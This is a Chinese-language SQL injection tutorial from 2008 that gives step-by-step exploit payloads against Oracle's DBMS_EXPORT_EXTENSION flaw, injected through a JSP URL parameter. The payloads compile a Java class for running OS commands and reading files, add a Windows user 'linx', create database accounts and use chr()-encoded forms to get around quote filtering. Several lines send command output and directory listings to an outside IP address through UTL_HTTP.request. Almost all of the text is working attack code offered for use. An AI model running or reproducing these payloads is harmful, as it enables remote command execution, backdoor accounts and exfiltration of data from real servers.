犀利的 oracle 注入技术

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原文发表在黑客手册
犀利的 oracle 注入技术

linx 2008.1.12

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

以下的演示都是在web上的sql plus执行的，在web注入时把select SYS.DBMS_EXPORT_EXTENSION…..改成

/xxx.jsp?id=1 and ‘1’<>’a’||(select SYS.DBMS_EXPORT_EXTENSION…..)

的形式即可。(用” ‘a’|| “是为了让语句返回true值)

语句有点长，可能要用post提交。

以下是各个步骤：

1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：

/xxx.jsp?id=1 and ‘1’<>’a’||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}
}””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

)

************

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace and compile java source named “LinxUtil” as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith(“http”)?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename));
String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}
}””;END;”;END;–‘,’SYS’,0,’1′,0) from dual
***************

————————
如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and ‘1’<>’a’||(

)

同时把后面步骤提到的对readFile()的处理语句去掉。
——————————

2.赋Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””begin dbms_java.grant_permission( ””””PUBLIC””””, ””””SYS:java.io.FilePermission””””, ””””<<ALL FILES>>””””, ””””execute”””” );end;””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

3.创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ””””LinxUtil.runCMD(java.lang.String) return String””””; ””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ””””LinxUtil.readFile(java.lang.String) return String””””; ””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

4.赋public执行函数的权限

5.测试上面的几步是否成功

and ‘1’<>’11’||(
select OBJECT_ID from all_objects where object_name =’LINXRUNCMD’
)

and ‘1’<>(
select OBJECT_ID from all_objects where object_name =’LINXREADFILE’
)

6.执行命令：

/xxx.jsp?id=1 and ‘1’<>(
select sys.LinxRunCMD(‘cmd /c net user linx /add’) from dual
)

/xxx.jsp?id=1 and ‘1’<>(
select sys.LinxReadFile(‘c:/boot.ini’) from dual
)

注意sys.LinxReadFile()返回的是varchar类型，不能用”and 1<>” 代替 “and ‘1’<>”。
如果要查看运行结果可以用 union :

/xxx.jsp?id=1 union select sys.LinxRunCMD(‘cmd /c net user linx /add’) from dual

或者UTL_HTTP.request(:

/xxx.jsp?id=1 and ‘1’<>(
SELECT UTL_HTTP.request(‘http://211.71.147.3/record.php?a=LinxRunCMD:’||REPLACE(REPLACE(sys.LinxRunCMD(‘cmd /c net user aaa /del’),’ ‘,’%20′),’\n’,’%0A’)) FROM dual
)

/xxx.jsp?id=1 and ‘1’<>(
SELECT UTL_HTTP.request(‘http://211.71.147.3/record.php?a=LinxRunCMD:’||REPLACE(REPLACE(sys.LinxReadFile(‘c:/boot.ini’),’ ‘,’%20′),’\n’,’%0A’)) FROM dual
)

注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。

——————–

6.内部变化
通过以下命令可以查看all_objects表达改变：
select * from all_objects where object_name like ‘%LINX%’ or object_name like ‘%Linx%’

7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
drop function LinxRunCMD ””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

====================================================
全文结束。谨以此文赠与我的朋友。

linx
124829445
2008.1.12
[email protected]

======================================================================

测试漏洞的另一方法：

创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
CREATE USER linxsql IDENTIFIED BY linxsql””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

确定漏洞存在：
1<>(
select user_id from all_users where username=’LINXSQL’
)

给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
GRANT CONNECT TO linxsql””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

删除帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
drop user LINXSQL””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

======================

以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值”1″，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：

1.jsp?id=1 and ‘1’<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; ””;END;”;END;–‘,’SYS’,0,’1′,0) from dual
) and …

1.jsp?id=1 and ‘1’<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””grant all on Linx_query to public””;END;”;END;–‘,’SYS’,0,’1′,0) from dual
) and …

1.jsp?id=1 and ‘1’<>(
SELECT sys.Linx_Query(‘SELECT 14554 FROM DUAL’) FROM DUAL
) and …

1.jsp?id=1 and ‘1’<>(
SELECT sys.Linx_Query(‘declare pragma
autonomous_transaction; begin execute immediate ”
select 1 from dual
”; commit; end;’) from dual
) and …

多语句：
SELECT sys.Linx_Query(‘declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;’) from dual

创建用户(除非当前用户有system权限，否则无法成功)：
SELECT sys.Linx_Query(‘declare pragma
autonomous_transaction; begin execute immediate ”
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
”; commit; end;’) from dual

================
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()

1.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1; end; ””;END;”;END;–‘,’SYS’,0,’1′,0) from dual;

如果有权限，以下语句应该运行正常
select sys.linx_query(‘select 1 from dual’) from dual;

不然的话运行：

2.创建包
SELECT sys.Linx_Query(‘declare pragma
autonomous_transaction; begin execute immediate ”
create or replace and compile java source named “LinxUtil2″ as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;return str;}}”; commit; end;’) from dual

3.创建函数
SELECT sys.Linx_Query(‘declare pragma
autonomous_transaction; begin execute immediate ”
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ””LinxUtil2.RunCMD(java.lang.String) return String””;”; commit; end;’) from dual

4.给权限
给用户SYSTEM执行权限：

SELECT sys.Linx_Query(‘declare pragma autonomous_transaction;begin dbms_java.grant_permission( ”SYSTEM”, ”SYS:java.io.FilePermission”, ”<<ALL FILES>>”, ”execute” );end;’) from dual

5.执行函数
select RunCMD2(‘cmd /c dir’) from dual

==================
================================

以下是无 ” ‘ ” 版：

以下是各个步骤：

1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
因为建立了两个函数，转换为ascii后，语句更长了，注意提交时不要把换行去掉，否则执行不成功的：

/xxx.jsp?id=1 and chr(49)<>chr(50)||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

)

——————————

2.赋Java权限
/xxx.jsp?id=1 and chr(49)<>chr(50)||(

)

readfile函数的ascii版就不写了，见谅。

3.创建函数

4.赋public执行函数的权限

5.执行命令：

/xxx.jsp?id=1 and chr(49)<>chr(32)||(
select sys.LinxRunCMD(‘cmd /c net user linx /add’) from dual
)

即
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
)

/////////////////////
再加一个函数openDir():
在oracle上创建Java包LinxUtil，里面三个函数，runCMD用于执行系统命令，readFile用于读取文件，openDir用于浏览目录：
/xxx.jsp?id=1 and ‘1’<>’a’||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {
public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}
public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=””;while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}
public static String openDir(String dir) {String str = “”;File file = new File(dir); String[] filelist = file.list(); for (int i = 0; i < filelist.length; i++) str += filelist + (char)0xa;return str;}}””;END;”;END;–‘,’SYS’,0,’1′,0) from dual
)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,’BAR’,’DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””
create or replace function LinxOpenDir(filename in varchar2) return varchar2 as language java name ””””LinxUtil.openDir(java.lang.String) return String””””; ””;END;”;END;–‘,’SYS’,0,’1′,0) from dual

SELECT UTL_HTTP.request(‘http://211.71.147.3/record.php?a=LinxOpenDir:’||REPLACE(REPLACE(sys.LinxOpenDir(‘/’),’ ‘,’%20′),chr(10),’%0A’)) FROM dual

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